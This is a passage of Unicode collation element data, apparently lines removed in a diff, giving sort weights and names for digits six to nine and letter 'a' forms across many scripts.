-1816 ; [.1C43.0020.0002] # MONGOLIAN DIGIT SIX -194C ; [.1C43.0020.0002] # LIMBU DIGIT SIX -19D6 ; [.1C43.0020.0002] # NEW TAI LUE DIGIT SIX -1A86 ; [.1C43.0020.0002] # TAI THAM HORA DIGIT SIX -1A96 ; [.1C43.0020.0002] # TAI THAM THAM DIGIT SIX -1B56 ; [.1C43.0020.0002] # BALINESE DIGIT SIX -1BB6 ; [.1C43.0020.0002] # SUNDANESE DIGIT SIX -1C46 ; [.1C43.0020.0002] # LEPCHA DIGIT SIX -1C56 ; [.1C43.0020.0002] # OL CHIKI DIGIT SIX -2185 ; [.1C43.0020.0002] # ROMAN NUMERAL SIX LATE FORM -3026 ; [.1C43.0020.0002] # HANGZHOU NUMERAL SIX -A626 ; [.1C43.0020.0002] # VAI DIGIT SIX -A8D6 ; [.1C43.0020.0002] # SAURASHTRA DIGIT SIX -A906 ; [.1C43.0020.0002] # KAYAH LI DIGIT SIX -A9D6 ; [.1C43.0020.0002] # JAVANESE DIGIT SIX -A9F6 ; [.1C43.0020.0002] # MYANMAR TAI LAING DIGIT SIX -AA56 ; [.1C43.0020.0002] # CHAM DIGIT SIX -ABF6 ; [.1C43.0020.0002] # MEETEI MAYEK DIGIT SIX -1010C ; [.1C43.0020.0002] # AEGEAN NUMBER SIX -102E6 ; [.1C43.0020.0002] # COPTIC EPACT DIGIT SIX -104A6 ; [.1C43.0020.0002] # OSMANYA DIGIT SIX -109C5 ; [.1C43.0020.0002] # MEROITIC CURSIVE NUMBER SIX -10E65 ; [.1C43.0020.0002] # RUMI DIGIT SIX -11057 ; [.1C43.0020.0002] # BRAHMI NUMBER SIX -1106C ; [.1C43.0020.0002] # BRAHMI DIGIT SIX -110F6 ; [.1C43.0020.0002] # SORA SOMPENG DIGIT SIX -1113C ; [.1C43.0020.0002] # CHAKMA DIGIT SIX -111D6 ; [.1C43.0020.0002] # SHARADA DIGIT SIX -111E6 ; [.1C43.0020.0002] # SINHALA ARCHAIC DIGIT SIX -112F6 ; [.1C43.0020.0002] # KHUDAWADI DIGIT SIX -11456 ; [.1C43.0020.0002] # NEWA DIGIT SIX -114D6 ; [.1C43.0020.0002] # TIRHUTA DIGIT SIX -11656 ; [.1C43.0020.0002] # MODI DIGIT SIX -116C6 ; [.1C43.0020.0002] # TAKRI DIGIT SIX -11736 ; [.1C43.0020.0002] # AHOM DIGIT SIX -118E6 ; [.1C43.0020.0002] # WARANG CITI DIGIT SIX -11C56 ; [.1C43.0020.0002] # BHAIKSUKI DIGIT SIX -11C5F ; [.1C43.0020.0002] # BHAIKSUKI NUMBER SIX -12404 ; [.1C43.0020.0002] # CUNEIFORM NUMERIC SIGN SIX ASH -1240B ; [.1C43.0020.0002] # CUNEIFORM NUMERIC SIGN SIX DISH -12411 ; [.1C43.0020.0002] # CUNEIFORM NUMERIC SIGN SIX U -1241A ; [.1C43.0020.0002] # CUNEIFORM NUMERIC SIGN SIX GESH2 -12428 ; [.1C43.0020.0002] # CUNEIFORM NUMERIC SIGN SIX SHAR2 -12440 ; [.1C43.0020.0002] # CUNEIFORM NUMERIC SIGN SIX VARIANT FORM ASH9 -1244E ; [.1C43.0020.0002] # CUNEIFORM NUMERIC SIGN SIX ASH TENU -1246B ; [.1C43.0020.0002] # CUNEIFORM NUMERIC SIGN SIX U VARIANT FORM -16A66 ; [.1C43.0020.0002] # MRO DIGIT SIX -16B56 ; [.1C43.0020.0002] # PAHAWH HMONG DIGIT SIX -1D365 ; [.1C43.0020.0002] # COUNTING ROD UNIT DIGIT SIX -1E8CC ; [.1C43.0020.0002] # MENDE KIKAKUI DIGIT SIX -1E956 ; [.1C43.0020.0002] # ADLAM DIGIT SIX -FF16 ; [.1C43.0020.0003] # FULLWIDTH DIGIT SIX -0F2F ; [.1C43.0020.0004] # TIBETAN DIGIT HALF SIX -2479 ; [*0317.0020.0004][.1C43.0020.0004][*0318.0020.0004] # PARENTHESIZED DIGIT SIX -248D ; [.1C43.0020.0004][*0277.0020.0004] # DIGIT SIX FULL STOP -1F107 ; [.1C43.0020.0004][*0222.0020.0004] # DIGIT SIX COMMA -1D7D4 ; [.1C43.0020.0005] # MATHEMATICAL BOLD DIGIT SIX -1D7DE ; [.1C43.0020.0005] # MATHEMATICAL DOUBLE-STRUCK DIGIT SIX -1D7E8 ; [.1C43.0020.0005] # MATHEMATICAL SANS-SERIF DIGIT SIX -1D7F2 ; [.1C43.0020.0005] # MATHEMATICAL SANS-SERIF BOLD DIGIT SIX -1D7FC ; [.1C43.0020.0005] # MATHEMATICAL MONOSPACE DIGIT SIX -2465 ; [.1C43.0020.0006] # CIRCLED DIGIT SIX -24FA ; [.1C43.0020.0006] # DOUBLE CIRCLED DIGIT SIX -277B ; [.1C43.0020.0006] # DINGBAT NEGATIVE CIRCLED DIGIT SIX -2785 ; [.1C43.0020.0006] # DINGBAT CIRCLED SANS-SERIF DIGIT SIX -278F ; [.1C43.0020.0006] # DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT SIX -2076 ; [.1C43.0020.0014] # SUPERSCRIPT SIX -2086 ; [.1C43.0020.0015] # SUBSCRIPT SIX -324D ; [.1C43.0020.0006][.1C3D.0020.0006] # CIRCLED NUMBER SIXTY ON BLACK SQUARE -1F1A3 ; [.1C43.0020.001C][.1C3D.0020.001C][.1E0C.0020.001D] # SQUARED SIXTY P -33E5 ; [.1C43.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SIX -32C5 ; [.1C43.0020.0004][.FB40.0020.0004][.E708.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR JUNE -335E ; [.1C43.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SIX -0037 ; [.1C44.0020.0002] # DIGIT SEVEN -0667 ; [.1C44.0020.0002] # ARABIC-INDIC DIGIT SEVEN -06F7 ; [.1C44.0020.0002] # EXTENDED ARABIC-INDIC DIGIT SEVEN -07C7 ; [.1C44.0020.0002] # NKO DIGIT SEVEN -096D ; [.1C44.0020.0002] # DEVANAGARI DIGIT SEVEN -09ED ; [.1C44.0020.0002] # BENGALI DIGIT SEVEN -0A6D ; [.1C44.0020.0002] # GURMUKHI DIGIT SEVEN -0AED ; [.1C44.0020.0002] # GUJARATI DIGIT SEVEN -0B6D ; [.1C44.0020.0002] # ORIYA DIGIT SEVEN -0BED ; [.1C44.0020.0002] # TAMIL DIGIT SEVEN -0C6D ; [.1C44.0020.0002] # TELUGU DIGIT SEVEN -0CED ; [.1C44.0020.0002] # KANNADA DIGIT SEVEN -0D6D ; [.1C44.0020.0002] # MALAYALAM DIGIT SEVEN -0DED ; [.1C44.0020.0002] # SINHALA LITH DIGIT SEVEN -0E57 ; [.1C44.0020.0002] # THAI DIGIT SEVEN -0ED7 ; [.1C44.0020.0002] # LAO DIGIT SEVEN -0F27 ; [.1C44.0020.0002] # TIBETAN DIGIT SEVEN -1047 ; [.1C44.0020.0002] # MYANMAR DIGIT SEVEN -1097 ; [.1C44.0020.0002] # MYANMAR SHAN DIGIT SEVEN -136F ; [.1C44.0020.0002] # ETHIOPIC DIGIT SEVEN -17E7 ; [.1C44.0020.0002] # KHMER DIGIT SEVEN -17F7 ; [.1C44.0020.0002] # KHMER SYMBOL LEK ATTAK PRAM-PII -1817 ; [.1C44.0020.0002] # MONGOLIAN DIGIT SEVEN -194D ; [.1C44.0020.0002] # LIMBU DIGIT SEVEN -19D7 ; [.1C44.0020.0002] # NEW TAI LUE DIGIT SEVEN -1A87 ; [.1C44.0020.0002] # TAI THAM HORA DIGIT SEVEN -1A97 ; [.1C44.0020.0002] # TAI THAM THAM DIGIT SEVEN -1B57 ; [.1C44.0020.0002] # BALINESE DIGIT SEVEN -1BB7 ; [.1C44.0020.0002] # SUNDANESE DIGIT SEVEN -1C47 ; [.1C44.0020.0002] # LEPCHA DIGIT SEVEN -1C57 ; [.1C44.0020.0002] # OL CHIKI DIGIT SEVEN -3027 ; [.1C44.0020.0002] # HANGZHOU NUMERAL SEVEN -A627 ; [.1C44.0020.0002] # VAI DIGIT SEVEN -A8D7 ; [.1C44.0020.0002] # SAURASHTRA DIGIT SEVEN -A907 ; [.1C44.0020.0002] # KAYAH LI DIGIT SEVEN -A9D7 ; [.1C44.0020.0002] # JAVANESE DIGIT SEVEN -A9F7 ; [.1C44.0020.0002] # MYANMAR TAI LAING DIGIT SEVEN -AA57 ; [.1C44.0020.0002] # CHAM DIGIT SEVEN -ABF7 ; [.1C44.0020.0002] # MEETEI MAYEK DIGIT SEVEN -1010D ; [.1C44.0020.0002] # AEGEAN NUMBER SEVEN -102E7 ; [.1C44.0020.0002] # COPTIC EPACT DIGIT SEVEN -104A7 ; [.1C44.0020.0002] # OSMANYA DIGIT SEVEN -109C6 ; [.1C44.0020.0002] # MEROITIC CURSIVE NUMBER SEVEN -10E66 ; [.1C44.0020.0002] # RUMI DIGIT SEVEN -11058 ; [.1C44.0020.0002] # BRAHMI NUMBER SEVEN -1106D ; [.1C44.0020.0002] # BRAHMI DIGIT SEVEN -110F7 ; [.1C44.0020.0002] # SORA SOMPENG DIGIT SEVEN -1113D ; [.1C44.0020.0002] # CHAKMA DIGIT SEVEN -111D7 ; [.1C44.0020.0002] # SHARADA DIGIT SEVEN -111E7 ; [.1C44.0020.0002] # SINHALA ARCHAIC DIGIT SEVEN -112F7 ; [.1C44.0020.0002] # KHUDAWADI DIGIT SEVEN -11457 ; [.1C44.0020.0002] # NEWA DIGIT SEVEN -114D7 ; [.1C44.0020.0002] # TIRHUTA DIGIT SEVEN -11657 ; [.1C44.0020.0002] # MODI DIGIT SEVEN -116C7 ; [.1C44.0020.0002] # TAKRI DIGIT SEVEN -11737 ; [.1C44.0020.0002] # AHOM DIGIT SEVEN -118E7 ; [.1C44.0020.0002] # WARANG CITI DIGIT SEVEN -11C57 ; [.1C44.0020.0002] # BHAIKSUKI DIGIT SEVEN -11C60 ; [.1C44.0020.0002] # BHAIKSUKI NUMBER SEVEN -12405 ; [.1C44.0020.0002] # CUNEIFORM NUMERIC SIGN SEVEN ASH -1240C ; [.1C44.0020.0002] # CUNEIFORM NUMERIC SIGN SEVEN DISH -12412 ; [.1C44.0020.0002] # CUNEIFORM NUMERIC SIGN SEVEN U -1241B ; [.1C44.0020.0002] # CUNEIFORM NUMERIC SIGN SEVEN GESH2 -12429 ; [.1C44.0020.0002] # CUNEIFORM NUMERIC SIGN SEVEN SHAR2 -12441 ; [.1C44.0020.0002] # CUNEIFORM NUMERIC SIGN SEVEN VARIANT FORM IMIN3 -12442 ; [.1C44.0020.0002] # CUNEIFORM NUMERIC SIGN SEVEN VARIANT FORM IMIN A -12443 ; [.1C44.0020.0002] # CUNEIFORM NUMERIC SIGN SEVEN VARIANT FORM IMIN B -1246C ; [.1C44.0020.0002] # CUNEIFORM NUMERIC SIGN SEVEN U VARIANT FORM -16A67 ; [.1C44.0020.0002] # MRO DIGIT SEVEN -16B57 ; [.1C44.0020.0002] # PAHAWH HMONG DIGIT SEVEN -1D366 ; [.1C44.0020.0002] # COUNTING ROD UNIT DIGIT SEVEN -1E8CD ; [.1C44.0020.0002] # MENDE KIKAKUI DIGIT SEVEN -1E957 ; [.1C44.0020.0002] # ADLAM DIGIT SEVEN -FF17 ; [.1C44.0020.0003] # FULLWIDTH DIGIT SEVEN -0F30 ; [.1C44.0020.0004] # TIBETAN DIGIT HALF SEVEN -247A ; [*0317.0020.0004][.1C44.0020.0004][*0318.0020.0004] # PARENTHESIZED DIGIT SEVEN -248E ; [.1C44.0020.0004][*0277.0020.0004] # DIGIT SEVEN FULL STOP -1F108 ; [.1C44.0020.0004][*0222.0020.0004] # DIGIT SEVEN COMMA -1D7D5 ; [.1C44.0020.0005] # MATHEMATICAL BOLD DIGIT SEVEN -1D7DF ; [.1C44.0020.0005] # MATHEMATICAL DOUBLE-STRUCK DIGIT SEVEN -1D7E9 ; [.1C44.0020.0005] # MATHEMATICAL SANS-SERIF DIGIT SEVEN -1D7F3 ; [.1C44.0020.0005] # MATHEMATICAL SANS-SERIF BOLD DIGIT SEVEN -1D7FD ; [.1C44.0020.0005] # MATHEMATICAL MONOSPACE DIGIT SEVEN -2466 ; [.1C44.0020.0006] # CIRCLED DIGIT SEVEN -24FB ; [.1C44.0020.0006] # DOUBLE CIRCLED DIGIT SEVEN -277C ; [.1C44.0020.0006] # DINGBAT NEGATIVE CIRCLED DIGIT SEVEN -2786 ; [.1C44.0020.0006] # DINGBAT CIRCLED SANS-SERIF DIGIT SEVEN -2790 ; [.1C44.0020.0006] # DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT SEVEN -2077 ; [.1C44.0020.0014] # SUPERSCRIPT SEVEN -2087 ; [.1C44.0020.0015] # SUBSCRIPT SEVEN -324E ; [.1C44.0020.0006][.1C3D.0020.0006] # CIRCLED NUMBER SEVENTY ON BLACK SQUARE -1F1A1 ; [.1C44.0020.001C][*0277.0020.001C][.1C3E.0020.001C] # SQUARED SEVEN POINT ONE -215E ; [.1C44.0020.001E][*0626.0020.001E][.1C45.0020.001E] # VULGAR FRACTION SEVEN EIGHTHS -33E6 ; [.1C44.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SEVEN -32C6 ; [.1C44.0020.0004][.FB40.0020.0004][.E708.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR JULY -335F ; [.1C44.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SEVEN -0038 ; [.1C45.0020.0002] # DIGIT EIGHT -0668 ; [.1C45.0020.0002] # ARABIC-INDIC DIGIT EIGHT -06F8 ; [.1C45.0020.0002] # EXTENDED ARABIC-INDIC DIGIT EIGHT -07C8 ; [.1C45.0020.0002] # NKO DIGIT EIGHT -096E ; [.1C45.0020.0002] # DEVANAGARI DIGIT EIGHT -09EE ; [.1C45.0020.0002] # BENGALI DIGIT EIGHT -0A6E ; [.1C45.0020.0002] # GURMUKHI DIGIT EIGHT -0AEE ; [.1C45.0020.0002] # GUJARATI DIGIT EIGHT -0B6E ; [.1C45.0020.0002] # ORIYA DIGIT EIGHT -0BEE ; [.1C45.0020.0002] # TAMIL DIGIT EIGHT -0C6E ; [.1C45.0020.0002] # TELUGU DIGIT EIGHT -0CEE ; [.1C45.0020.0002] # KANNADA DIGIT EIGHT -0D6E ; [.1C45.0020.0002] # MALAYALAM DIGIT EIGHT -0DEE ; [.1C45.0020.0002] # SINHALA LITH DIGIT EIGHT -0E58 ; [.1C45.0020.0002] # THAI DIGIT EIGHT -0ED8 ; [.1C45.0020.0002] # LAO DIGIT EIGHT -0F28 ; [.1C45.0020.0002] # TIBETAN DIGIT EIGHT -1048 ; [.1C45.0020.0002] # MYANMAR DIGIT EIGHT -1098 ; [.1C45.0020.0002] # MYANMAR SHAN DIGIT EIGHT -1370 ; [.1C45.0020.0002] # ETHIOPIC DIGIT EIGHT -17E8 ; [.1C45.0020.0002] # KHMER DIGIT EIGHT -17F8 ; [.1C45.0020.0002] # KHMER SYMBOL LEK ATTAK PRAM-BEI -1818 ; [.1C45.0020.0002] # MONGOLIAN DIGIT EIGHT -194E ; [.1C45.0020.0002] # LIMBU DIGIT EIGHT -19D8 ; [.1C45.0020.0002] # NEW TAI LUE DIGIT EIGHT -1A88 ; [.1C45.0020.0002] # TAI THAM HORA DIGIT EIGHT -1A98 ; [.1C45.0020.0002] # TAI THAM THAM DIGIT EIGHT -1B58 ; [.1C45.0020.0002] # BALINESE DIGIT EIGHT -1BB8 ; [.1C45.0020.0002] # SUNDANESE DIGIT EIGHT -1C48 ; [.1C45.0020.0002] # LEPCHA DIGIT EIGHT -1C58 ; [.1C45.0020.0002] # OL CHIKI DIGIT EIGHT -3028 ; [.1C45.0020.0002] # HANGZHOU NUMERAL EIGHT -A628 ; [.1C45.0020.0002] # VAI DIGIT EIGHT -A8D8 ; [.1C45.0020.0002] # SAURASHTRA DIGIT EIGHT -A908 ; [.1C45.0020.0002] # KAYAH LI DIGIT EIGHT -A9D8 ; [.1C45.0020.0002] # JAVANESE DIGIT EIGHT -A9F8 ; [.1C45.0020.0002] # MYANMAR TAI LAING DIGIT EIGHT -AA58 ; [.1C45.0020.0002] # CHAM DIGIT EIGHT -ABF8 ; [.1C45.0020.0002] # MEETEI MAYEK DIGIT EIGHT -1010E ; [.1C45.0020.0002] # AEGEAN NUMBER EIGHT -102E8 ; [.1C45.0020.0002] # COPTIC EPACT DIGIT EIGHT -104A8 ; [.1C45.0020.0002] # OSMANYA DIGIT EIGHT -109C7 ; [.1C45.0020.0002] # MEROITIC CURSIVE NUMBER EIGHT -10E67 ; [.1C45.0020.0002] # RUMI DIGIT EIGHT -11059 ; [.1C45.0020.0002] # BRAHMI NUMBER EIGHT -1106E ; [.1C45.0020.0002] # BRAHMI DIGIT EIGHT -110F8 ; [.1C45.0020.0002] # SORA SOMPENG DIGIT EIGHT -1113E ; [.1C45.0020.0002] # CHAKMA DIGIT EIGHT -111D8 ; [.1C45.0020.0002] # SHARADA DIGIT EIGHT -111E8 ; [.1C45.0020.0002] # SINHALA ARCHAIC DIGIT EIGHT -112F8 ; [.1C45.0020.0002] # KHUDAWADI DIGIT EIGHT -11458 ; [.1C45.0020.0002] # NEWA DIGIT EIGHT -114D8 ; [.1C45.0020.0002] # TIRHUTA DIGIT EIGHT -11658 ; [.1C45.0020.0002] # MODI DIGIT EIGHT -116C8 ; [.1C45.0020.0002] # TAKRI DIGIT EIGHT -11738 ; [.1C45.0020.0002] # AHOM DIGIT EIGHT -118E8 ; [.1C45.0020.0002] # WARANG CITI DIGIT EIGHT -11C58 ; [.1C45.0020.0002] # BHAIKSUKI DIGIT EIGHT -11C61 ; [.1C45.0020.0002] # BHAIKSUKI NUMBER EIGHT -12406 ; [.1C45.0020.0002] # CUNEIFORM NUMERIC SIGN EIGHT ASH -1240D ; [.1C45.0020.0002] # CUNEIFORM NUMERIC SIGN EIGHT DISH -12413 ; [.1C45.0020.0002] # CUNEIFORM NUMERIC SIGN EIGHT U -1241C ; [.1C45.0020.0002] # CUNEIFORM NUMERIC SIGN EIGHT GESH2 -1242A ; [.1C45.0020.0002] # CUNEIFORM NUMERIC SIGN EIGHT SHAR2 -12444 ; [.1C45.0020.0002] # CUNEIFORM NUMERIC SIGN EIGHT VARIANT FORM USSU -12445 ; [.1C45.0020.0002] # CUNEIFORM NUMERIC SIGN EIGHT VARIANT FORM USSU3 -1246D ; [.1C45.0020.0002] # CUNEIFORM NUMERIC SIGN EIGHT U VARIANT FORM -16A68 ; [.1C45.0020.0002] # MRO DIGIT EIGHT -16B58 ; [.1C45.0020.0002] # PAHAWH HMONG DIGIT EIGHT -1D367 ; [.1C45.0020.0002] # COUNTING ROD UNIT DIGIT EIGHT -1E8CE ; [.1C45.0020.0002] # MENDE KIKAKUI DIGIT EIGHT -1E958 ; [.1C45.0020.0002] # ADLAM DIGIT EIGHT -FF18 ; [.1C45.0020.0003] # FULLWIDTH DIGIT EIGHT -0F31 ; [.1C45.0020.0004] # TIBETAN DIGIT HALF EIGHT -247B ; [*0317.0020.0004][.1C45.0020.0004][*0318.0020.0004] # PARENTHESIZED DIGIT EIGHT -248F ; [.1C45.0020.0004][*0277.0020.0004] # DIGIT EIGHT FULL STOP -1F109 ; [.1C45.0020.0004][*0222.0020.0004] # DIGIT EIGHT COMMA -1D7D6 ; [.1C45.0020.0005] # MATHEMATICAL BOLD DIGIT EIGHT -1D7E0 ; [.1C45.0020.0005] # MATHEMATICAL DOUBLE-STRUCK DIGIT EIGHT -1D7EA ; [.1C45.0020.0005] # MATHEMATICAL SANS-SERIF DIGIT EIGHT -1D7F4 ; [.1C45.0020.0005] # MATHEMATICAL SANS-SERIF BOLD DIGIT EIGHT -1D7FE ; [.1C45.0020.0005] # MATHEMATICAL MONOSPACE DIGIT EIGHT -2467 ; [.1C45.0020.0006] # CIRCLED DIGIT EIGHT -24FC ; [.1C45.0020.0006] # DOUBLE CIRCLED DIGIT EIGHT -277D ; [.1C45.0020.0006] # DINGBAT NEGATIVE CIRCLED DIGIT EIGHT -2787 ; [.1C45.0020.0006] # DINGBAT CIRCLED SANS-SERIF DIGIT EIGHT -2791 ; [.1C45.0020.0006] # DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT EIGHT -2078 ; [.1C45.0020.0014] # SUPERSCRIPT EIGHT -2088 ; [.1C45.0020.0015] # SUBSCRIPT EIGHT -324F ; [.1C45.0020.0006][.1C3D.0020.0006] # CIRCLED NUMBER EIGHTY ON BLACK SQUARE -1F19F ; [.1C45.0020.001C][.1D65.0020.001D] # SQUARED EIGHT K -33E7 ; [.1C45.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY EIGHT -32C7 ; [.1C45.0020.0004][.FB40.0020.0004][.E708.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR AUGUST -3360 ; [.1C45.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR EIGHT -0039 ; [.1C46.0020.0002] # DIGIT NINE -0669 ; [.1C46.0020.0002] # ARABIC-INDIC DIGIT NINE -06F9 ; [.1C46.0020.0002] # EXTENDED ARABIC-INDIC DIGIT NINE -07C9 ; [.1C46.0020.0002] # NKO DIGIT NINE -096F ; [.1C46.0020.0002] # DEVANAGARI DIGIT NINE -09EF ; [.1C46.0020.0002] # BENGALI DIGIT NINE -0A6F ; [.1C46.0020.0002] # GURMUKHI DIGIT NINE -0AEF ; [.1C46.0020.0002] # GUJARATI DIGIT NINE -0B6F ; [.1C46.0020.0002] # ORIYA DIGIT NINE -0BEF ; [.1C46.0020.0002] # TAMIL DIGIT NINE -0C6F ; [.1C46.0020.0002] # TELUGU DIGIT NINE -0CEF ; [.1C46.0020.0002] # KANNADA DIGIT NINE -0D6F ; [.1C46.0020.0002] # MALAYALAM DIGIT NINE -0DEF ; [.1C46.0020.0002] # SINHALA LITH DIGIT NINE -0E59 ; [.1C46.0020.0002] # THAI DIGIT NINE -0ED9 ; [.1C46.0020.0002] # LAO DIGIT NINE -0F29 ; [.1C46.0020.0002] # TIBETAN DIGIT NINE -1049 ; [.1C46.0020.0002] # MYANMAR DIGIT NINE -1099 ; [.1C46.0020.0002] # MYANMAR SHAN DIGIT NINE -1371 ; [.1C46.0020.0002] # ETHIOPIC DIGIT NINE -17E9 ; [.1C46.0020.0002] # KHMER DIGIT NINE -17F9 ; [.1C46.0020.0002] # KHMER SYMBOL LEK ATTAK PRAM-BUON -1819 ; [.1C46.0020.0002] # MONGOLIAN DIGIT NINE -194F ; [.1C46.0020.0002] # LIMBU DIGIT NINE -19D9 ; [.1C46.0020.0002] # NEW TAI LUE DIGIT NINE -1A89 ; [.1C46.0020.0002] # TAI THAM HORA DIGIT NINE -1A99 ; [.1C46.0020.0002] # TAI THAM THAM DIGIT NINE -1B59 ; [.1C46.0020.0002] # BALINESE DIGIT NINE -1BB9 ; [.1C46.0020.0002] # SUNDANESE DIGIT NINE -1C49 ; [.1C46.0020.0002] # LEPCHA DIGIT NINE -1C59 ; [.1C46.0020.0002] # OL CHIKI DIGIT NINE -3029 ; [.1C46.0020.0002] # HANGZHOU NUMERAL NINE -A629 ; [.1C46.0020.0002] # VAI DIGIT NINE -A8D9 ; [.1C46.0020.0002] # SAURASHTRA DIGIT NINE -A909 ; [.1C46.0020.0002] # KAYAH LI DIGIT NINE -A9D9 ; [.1C46.0020.0002] # JAVANESE DIGIT NINE -A9F9 ; [.1C46.0020.0002] # MYANMAR TAI LAING DIGIT NINE -AA59 ; [.1C46.0020.0002] # CHAM DIGIT NINE -ABF9 ; [.1C46.0020.0002] # MEETEI MAYEK DIGIT NINE -1010F ; [.1C46.0020.0002] # AEGEAN NUMBER NINE -102E9 ; [.1C46.0020.0002] # COPTIC EPACT DIGIT NINE -104A9 ; [.1C46.0020.0002] # OSMANYA DIGIT NINE -109C8 ; [.1C46.0020.0002] # MEROITIC CURSIVE NUMBER NINE -10E68 ; [.1C46.0020.0002] # RUMI DIGIT NINE -1105A ; [.1C46.0020.0002] # BRAHMI NUMBER NINE -1106F ; [.1C46.0020.0002] # BRAHMI DIGIT NINE -110F9 ; [.1C46.0020.0002] # SORA SOMPENG DIGIT NINE -1113F ; [.1C46.0020.0002] # CHAKMA DIGIT NINE -111D9 ; [.1C46.0020.0002] # SHARADA DIGIT NINE -111E9 ; [.1C46.0020.0002] # SINHALA ARCHAIC DIGIT NINE -112F9 ; [.1C46.0020.0002] # KHUDAWADI DIGIT NINE -11459 ; [.1C46.0020.0002] # NEWA DIGIT NINE -114D9 ; [.1C46.0020.0002] # TIRHUTA DIGIT NINE -11659 ; [.1C46.0020.0002] # MODI DIGIT NINE -116C9 ; [.1C46.0020.0002] # TAKRI DIGIT NINE -11739 ; [.1C46.0020.0002] # AHOM DIGIT NINE -118E9 ; [.1C46.0020.0002] # WARANG CITI DIGIT NINE -11C59 ; [.1C46.0020.0002] # BHAIKSUKI DIGIT NINE -11C62 ; [.1C46.0020.0002] # BHAIKSUKI NUMBER NINE -12407 ; [.1C46.0020.0002] # CUNEIFORM NUMERIC SIGN NINE ASH -1240E ; [.1C46.0020.0002] # CUNEIFORM NUMERIC SIGN NINE DISH -12414 ; [.1C46.0020.0002] # CUNEIFORM NUMERIC SIGN NINE U -1241D ; [.1C46.0020.0002] # CUNEIFORM NUMERIC SIGN NINE GESH2 -1242B ; [.1C46.0020.0002] # CUNEIFORM NUMERIC SIGN NINE SHAR2 -12446 ; [.1C46.0020.0002] # CUNEIFORM NUMERIC SIGN NINE VARIANT FORM ILIMMU -12447 ; [.1C46.0020.0002] # CUNEIFORM NUMERIC SIGN NINE VARIANT FORM ILIMMU3 -12448 ; [.1C46.0020.0002] # CUNEIFORM NUMERIC SIGN NINE VARIANT FORM ILIMMU4 -12449 ; [.1C46.0020.0002] # CUNEIFORM NUMERIC SIGN NINE VARIANT FORM ILIMMU A -1246E ; [.1C46.0020.0002] # CUNEIFORM NUMERIC SIGN NINE U VARIANT FORM -16A69 ; [.1C46.0020.0002] # MRO DIGIT NINE -16B59 ; [.1C46.0020.0002] # PAHAWH HMONG DIGIT NINE -1D368 ; [.1C46.0020.0002] # COUNTING ROD UNIT DIGIT NINE -1E8CF ; [.1C46.0020.0002] # MENDE KIKAKUI DIGIT NINE -1E959 ; [.1C46.0020.0002] # ADLAM DIGIT NINE -FF19 ; [.1C46.0020.0003] # FULLWIDTH DIGIT NINE -0F32 ; [.1C46.0020.0004] # TIBETAN DIGIT HALF NINE -247C ; [*0317.0020.0004][.1C46.0020.0004][*0318.0020.0004] # PARENTHESIZED DIGIT NINE -2490 ; [.1C46.0020.0004][*0277.0020.0004] # DIGIT NINE FULL STOP -1F10A ; [.1C46.0020.0004][*0222.0020.0004] # DIGIT NINE COMMA -1D7D7 ; [.1C46.0020.0005] # MATHEMATICAL BOLD DIGIT NINE -1D7E1 ; [.1C46.0020.0005] # MATHEMATICAL DOUBLE-STRUCK DIGIT NINE -1D7EB ; [.1C46.0020.0005] # MATHEMATICAL SANS-SERIF DIGIT NINE -1D7F5 ; [.1C46.0020.0005] # MATHEMATICAL SANS-SERIF BOLD DIGIT NINE -1D7FF ; [.1C46.0020.0005] # MATHEMATICAL MONOSPACE DIGIT NINE -2468 ; [.1C46.0020.0006] # CIRCLED DIGIT NINE -24FD ; [.1C46.0020.0006] # DOUBLE CIRCLED DIGIT NINE -277E ; [.1C46.0020.0006] # DINGBAT NEGATIVE CIRCLED DIGIT NINE -2788 ; [.1C46.0020.0006] # DINGBAT CIRCLED SANS-SERIF DIGIT NINE -2792 ; [.1C46.0020.0006] # DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT NINE -2079 ; [.1C46.0020.0014] # SUPERSCRIPT NINE -2089 ; [.1C46.0020.0015] # SUBSCRIPT NINE -33E8 ; [.1C46.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY NINE -32C8 ; [.1C46.0020.0004][.FB40.0020.0004][.E708.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR SEPTEMBER -3361 ; [.1C46.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR NINE -0061 ; [.1C47.0020.0002] # LATIN SMALL LETTER A -FF41 ; [.1C47.0020.0003] # FULLWIDTH LATIN SMALL LETTER A -0363 ; [.1C47.0020.0004] # COMBINING LATIN SMALL LETTER A -249C ; [*0317.0020.0004][.1C47.0020.0004][*0318.0020.0004] # PARENTHESIZED LATIN SMALL LETTER A -1D41A ; [.1C47.0020.0005] # MATHEMATICAL BOLD SMALL A -1D44E ; [.1C47.0020.0005] # MATHEMATICAL ITALIC SMALL A -1D482 ; [.1C47.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL A -1D4B6 ; [.1C47.0020.0005] # MATHEMATICAL SCRIPT SMALL A -1D4EA ; [.1C47.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL A -1D51E ; [.1C47.0020.0005] # MATHEMATICAL FRAKTUR SMALL A -1D552 ; [.1C47.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL A -1D586 ; [.1C47.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL A -1D5BA ; [.1C47.0020.0005] # MATHEMATICAL SANS-SERIF SMALL A -1D5EE ; [.1C47.0020.0005] # 